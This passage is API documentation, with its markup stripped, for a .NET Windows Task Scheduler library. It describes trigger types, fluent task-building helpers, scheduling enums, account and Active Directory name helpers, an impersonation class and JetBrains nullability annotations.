Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
